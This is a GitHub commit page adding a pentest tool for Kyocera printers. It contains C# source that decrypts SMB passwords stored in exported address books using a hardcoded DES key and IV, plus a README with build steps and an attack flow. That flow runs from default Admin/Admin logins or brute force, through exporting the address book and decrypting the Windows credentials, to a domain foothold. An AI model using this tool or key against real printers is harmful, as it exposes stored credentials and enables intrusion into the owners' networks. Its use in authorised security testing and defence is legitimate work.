Skip to content

Commit 0cfacc0

Browse files
committed
Utilities for the pentester
Printers to Domain admin; a practical case against Kyocera
1 parent 01127ce commit 0cfacc0

File tree

5 files changed

+104
-0
lines changed

5 files changed

+104
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
/*
2+
Exploiting printers to gain foothold on a domain.
3+
Kyocera Comes with a pre-bundled Key and IV
4+
This utility seeks to create a threat model around the weak encryption and misconfiguration of features for abuse
5+
Tested via:
6+
- Kyocera ECOSYS M2640idw
7+
- Kyocera 4550i
8+
It obeys : RFC2898
9+
Author: Alien-within
10+
*/
11+
using System;
12+
using System.Collections;
13+
using System.Collections.Generic;
14+
using System.Diagnostics;
15+
using System.Security;
16+
using System.Security.Cryptography;
17+
using System.Text;
18+
using System.IO;
19+
using System.Linq;
20+
21+
public class Alienwithin
22+
{
23+
public static void Main(string[] args)
24+
{
25+
System.Console.WriteLine("#################################################");
26+
System.Console.WriteLine(" Kyocera AddressBook SMB Password Decryptor ");
27+
System.Console.WriteLine(" By Alien-Within ");
28+
System.Console.WriteLine("#################################################");
29+
Console.WriteLine("Enter the value of SmbLoginPasswd field : ");
30+
string KyoceraSMBPass = Console.ReadLine();
31+
try
32+
{
33+
DESCryptoServiceProvider AlienwithinDESProvider = new DESCryptoServiceProvider();
34+
AlienwithinDESProvider.Mode = CipherMode.CBC;
35+
AlienwithinDESProvider.Padding = PaddingMode.None;
36+
var key = new byte[] { 0x41, 0xF4, 0xA3, 0x05, 0xF3, 0x8B, 0x46, 0x8F };
37+
var iv = new byte[] { 0x01, 0x82, 0x0D, 0x0B, 0x38, 0x3E, 0xCB, 0x7C };
38+
var data = StringToByteArray(KyoceraSMBPass.Trim());
39+
40+
MemoryStream AlienwithinMemoryStream = new MemoryStream();
41+
42+
CryptoStream CStream = new CryptoStream(AlienwithinMemoryStream, AlienwithinDESProvider.CreateDecryptor(key, iv), CryptoStreamMode.Write);
43+
CStream.Write(data, 0, data.Length);
44+
CStream.FlushFinalBlock();
45+
Console.WriteLine(Encoding.Default.GetString(AlienwithinMemoryStream.ToArray()));
46+
47+
}
48+
catch (Exception ex)
49+
{
50+
Console.WriteLine(ex.ToString());
51+
}
52+
}
53+
public static byte[] StringToByteArray(string hex) {
54+
return Enumerable.Range(0, hex.Length)
55+
.Where(x => x % 2 == 0)
56+
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
57+
.ToArray();
58+
}
59+
}
6 KB
Binary file not shown.

kyocera/Readme.md

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
### Exploiting Printers (Kyocera)
2+
This script would assisst in a pentest scenario to abuse a printer feature found in Kyocera printers to gain access to windows credentials.
3+
Kyocera Printers contain an address book feature; within this feature an administrator can use one of two methods to transmit scanned documents:
4+
- Configure a send to e-mail
5+
- Configure a windows account to login to the host
6+
7+
Tested on:
8+
- Kyocera ECOSYS M2640idw
9+
- Kyocera 4550i
10+
11+
## Setup
12+
Quite simple really you can compile with the **csc.exe** utility in your dotnet framework.
13+
- Navigate
14+
`<path/to/csc.exe> KyoceraAddressBookDecryptor.cs`
15+
16+
an example is below:
17+
`C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe KyoceraAddressBookDecryptor.cs`
18+
19+
You also need to download KNetViewer to be able to export the addressbook from the printer.
20+
Pre-compiled binary for the decryptor provided just incase you're pressed for time. :-P
21+
22+
## usage
23+
- Navigate to the path where you have saved this exe
24+
- run `KyoceraAddressBookDecryptor.exe`
25+
- paste the encrypted value from the SmbLoginPasswd field in the Address Book XML.
26+
27+
A sample of the address book is below:
28+
29+
30+
The decryption process is as easy as below:
31+
32+
33+
###Presumed Flow
34+
35+
```seq
36+
Pentester->KNetViewer: Login
37+
Note left of KNetViewer: Login could be by:\n default (Admin/Admin);\nor Bruteforce
38+
Printer-->Pentester: Export Address Book
39+
Pentester-->Decryptor: Run Decryptor and \npass encrypted Password
40+
Decryptor->Pentester: Get Plaintext Password
41+
Pentester->>Domain: Gain Foothold or Administration\n\n
42+
Note right of Domain: Privilege Gained Depends on \nrights of the configured user!
43+
```
44+
45+
###End

kyocera/printer_xml_address_book.PNG

31 KB
Loading

kyocera/usage_sample.PNG

18.5 KB
Loading

0 commit comments

Comments
 (0)